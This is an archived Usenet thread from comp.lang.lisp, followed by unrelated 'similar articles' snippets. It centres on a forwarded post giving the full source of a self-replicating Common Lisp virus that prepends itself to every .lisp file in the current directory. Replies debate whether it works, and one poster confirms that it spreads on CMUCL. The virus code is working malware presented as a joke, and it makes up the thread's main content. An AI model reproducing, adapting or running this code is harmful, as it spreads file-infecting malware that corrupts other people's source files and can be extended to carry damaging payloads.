[Fwd] Just for fun

  • Permalink
  • submit to reddit
  • Email
  • Follow


-------------------- Start of forwarded message --------------------
Newsgroups: fido7.xsu.hacker
Distribution: fido7
X-Comment-To: All
From: "Ilya V. Vasilyev" (2:5020/287)
Date: Thu, 26 Jun 2003 10:27:28 +0600
Subject: Just for fun
Message-ID: <1056626881@f287.n5020.z2.ftn>
Organization: Hackers' POWER BBS

=============================================================================
* Forwarded by Ilya V. Vasilyev (2:5020/287)
* Area : su.cm (su.cm)
* From : andrew baranovich, 2:465/215 (Wednesday June 25 2003 15:21)
* To   : All
* Subj : Just for fun
=============================================================================
* Originally in su.cm
Crossposted to pvt.virii
Crossposted to ru.virus

;; Virus LISP.Futhorc by herm1t(at)netlux.org / Jun'03
(setq virus '(defun infect (&optional (ls (directory "*.lisp")))
  (defun writel (l s) (when l (write-line (car l) s) (writel (cdr l) s)))
  (when (setq vic (car ls))
    (let ((p nil)) (with-open-file (i vic :direction :input)
      (unless (equal (second (read i)) 'VIRUS) (file-position i 0)
        (loop (unless (setq line (read-line i nil nil)) (return))
          (setq p (append p (list line))))))
      (when p (with-open-file (o vic :direction :output)
        (format o "(setq virus '~S~%)(eval virus)(infect)~%" virus)
 (writel p o))))
    (infect (cdr ls))))
)(eval virus)(infect)

--
herm1t http://vx.netlux.org/ HERM-RIPE UR6IUF 2:465/215

-+- golded 3.0.1
 + Origin: Feed my fear (2:465/215)
=============================================================================

-------------------- End of forwarded message --------------------

-- 
Ivan Boldyrev

                                                        ���� ����� ����!
0
Reply nospam5292 (249) 6/27/2003 6:32:13 AM

See related articles to this posting

In article <u65mrus6p.fsf@dtpq.com>,
Christopher C. Stacy <cstacy@dtpq.com> wrote:
>This program is a lot of gibberish and does not do anything at all:
>most of it is never even executed.

Sure it is.

As written, it doesn't do anything other than append itself to all the
*.lisp files in the current directory; if any of them are later loaded (or
compiled and the resulting binary loaded) they'll do the same.  It's a
simple virus propagation wrapper; it's a simple matter to modify it to do
something (harmful or not) in addition to propagating itself.

-- 
Barry Margolin, barry.margolin@level3.com
Level(3), Woburn, MA
*** DON'T SEND TECHNICAL QUESTIONS DIRECTLY TO ME, post them to newsgroups.
Please DON'T copy followups to me -- I'll assume it wasn't posted to the group.
0
Reply barry.margolin (228) 6/27/2003 9:42:57 PM

cstacy@dtpq.com (Christopher C. Stacy) writes:

> This program is a lot of gibberish and does not do anything at all:
> most of it is never even executed.

It spreads nicely on CMUCL, albeit with warnings about undefined
variables.  Didn't you notice the EVAL call near the end?

The (second (read i)) call can have consequences not expected by
the author.
0
Reply kon (429) 6/27/2003 10:07:21 PM

>>>>> On Fri, 27 Jun 2003 21:42:57 GMT, Barry Margolin ("Barry") writes:

 Barry> In article <u65mrus6p.fsf@dtpq.com>,
 Barry> Christopher C. Stacy <cstacy@dtpq.com> wrote:
 >> This program is a lot of gibberish and does not do anything at all:
 >> most of it is never even executed.

 Barry> Sure it is.

I think I made a typographical error when pasting it into an
editor buffer and reformatting it so that I could actually read it.
My version of it had it setting the variable VIRUS to the source code
of a function called INFECT that took one optional arg but had no body.



0
Reply cstacy (118) 6/28/2003 3:15:21 AM

On 8423 day of my life Christopher C. Stacy wrote:
>
> I would be circumspect in writing programs called "Virus" and posting
> them on the net in so-called "hacker" newsgroups,

This is NG of "hackers" in sense of Eric Raymond.

> even if it is supposed to be (I assume) some kind of joke.  It looks
> like you are not the original author of the "virus" program, but can
> you understand what you have posted?

I am smart enough.  May be, I am even Turing-complete :)))

> It's as if someone has cut-and-pasted fragments of Lisp code from
> other programs, without understanding what they were copying. 

I do understand code before copying.

> This program is a lot of gibberish and does not do anything at all:
> most of it is never even executed.

Be more attentive: the virus is in your brain now :)

-- 
Ivan Boldyrev

                                Onions has layers.  Unix has layers too.
0
Reply nospam5292 (249) 6/28/2003 8:06:53 PM

On Sun, Jun 29, 2003 at 03:06:53AM +0700, Ivan Boldyrev wrote:
> Be more attentive: the virus is in your brain now :)

Actually, he's right even though he didn't mean it.  I'll give you a
hint: the program invokes undefined behavior.

-- 
; Matthew Danish <mdanish@andrew.cmu.edu>
; OpenPGP public key: C24B6010 on keyring.debian.org
; Signed or encrypted mail welcome.
; "There is no dark side of the moon really; matter of fact, it's all dark."
0
Reply mdanish (271) 6/30/2003 2:13:22 AM
comp.lang.lisp 15374 articles. 5 followers. Post

5 Replies
332 Views

Similar Articles

[PageSpeed] 9

  • Permalink
  • submit to reddit
  • Email
  • Follow


Reply:

Similar Artilces:

Just Fun
http://kg-azfari.myminicity.com/tra Look and see ...

Just For the Fun of It
I tried doing an install of OpenVMS 7.3 again - just to clear my mind up on what was involved. Well, I've proved at least one thing - even _I_ can install VMS, even when for some reason, I'm all thumbs with two left feet. :-) make that sys$all_thumbs: 2left_feet Now comes the difficult thing - cooling down enough to remember how I used edit last time I did this. ;) I should thank DEC for such a challenging experience! ;^) What's life without a challenge? Wesley Parish -- "Good, late in to more rewarding well."  "Well, you tonight. ...

Just for fun?
Hi all An interesting question: Does anyone know if the PSP (Playstation Portable) would work under USB with RISC OS? I have a PSP, but I cannot check the USB connectivity since I don't have USB for my RISC PC, and am not likely to get it, since it is just too expensive... And I know you can use the memory stick of the PSP with a card reader, but connecting the PSP itself to a RISC PC or Iyonix is just soo much cooler! Cheers! Samuel -- Samuel Kock http://skock.blogspot.com In article <dtkjfm$jhq$1@ctb-nnrp2.saix.net>, Samuel Kock <samuelk@absamail.xhosa> wrote: >...

Just for fun
Hi, Recently I've been playing on C programming avoiding libc and also assembly. Well, I guess some of us like to mess up with things like: #include <linux/types.h> #include <linux/unistd.h> int errno; _syscall1(int, exit, int, status) _syscall3(ssize_t, write, int, fd, const void *, buf, size_t, count) void _start() { write(1, "Hello there\n", 12); exit(0); } And then compiling with "-nostdlib". In case argc, argv and/or envp are needed we have to get it from the stack (AFAIK). Thats the work for /usr/lib/crt1.o in glibc. Of course, we al...

Just for fun.
What is matlab's favorite vegetable? "Paul Alexander" <psalexander@alaska.edu> wrote in message <ieougi$j3v$1@fred.mathworks.com>... > What is matlab's favorite vegetable? doc why "Paul Alexander" <psalexander@alaska.edu> wrote in message <ieougi$j3v$1@fred.mathworks.com>... > What is matlab's favorite vegetable? Celery? (cell-array) Dear Paul, > What is matlab's favorite vegetable? Ok, we solve this typical homework question for you - as an exception. 1. Have you read the Getting Started section of th...

Just for fun
Hi, Recently I've been playing on C programming avoiding libc and also assembly. Well, I guess some of us like to mess up with things like: #include <linux/types.h> #include <linux/unistd.h> int errno; _syscall1(int, exit, int, status) _syscall3(ssize_t, write, int, fd, const void *, buf, size_t, count) void _start() { write(1, "Hello there\n", 12); exit(0); } And then compiling with "-nostdlib". In case argc, argv and/or envp are needed we have to get it from the stack (AFAIK). Thats the work for /usr/lib/crt1.o in glibc. Of course, we al...

Just for fun...
I posted this to another forum as part of a challenge... thought to post it here just for fun. +5 pts if you know what algorithm is being used here... Anyone care to golf? Note that the breakdown of the string TXT was just to prevent it from line-wrapping... TXT = ".,~,,;\ntee,yeeewgeendhoeheddrhdfteeenn" + "\n\n\n\n\nr cl u enneiii ddd hhhlhhhh" + "elllphsvHfo ousctTTttTttgdfddwl tddd " + "uaooAat doopmp cmsse o i ari t isa" + "joo e\n" dat = [""] * TXT.size TXT.size.times do dat = TXT.split(...

just for fun
hello everone,my name is phelim. ...

Just for fun...
Here is a piece of document from a DICOM conformance statement from a well known big company (*). I guess we need a CP which explains that VR=UN in a CS document is of no use :) -Mathieu (*) B.1 3D IMAGE MEDIA PRIVATE TAG DESCRIPTION The private tags listed in this section are intended for internal use within the iU22 enabling continued analysis of iU22 3D datasets imported from media. Tag VR Value (2001,00FF) LO Philips Imaging DD 001 (2001,FF6E) UN Series (200D,00FE) LO Philips US Imaging DD 017 (200D,00FD) LO ...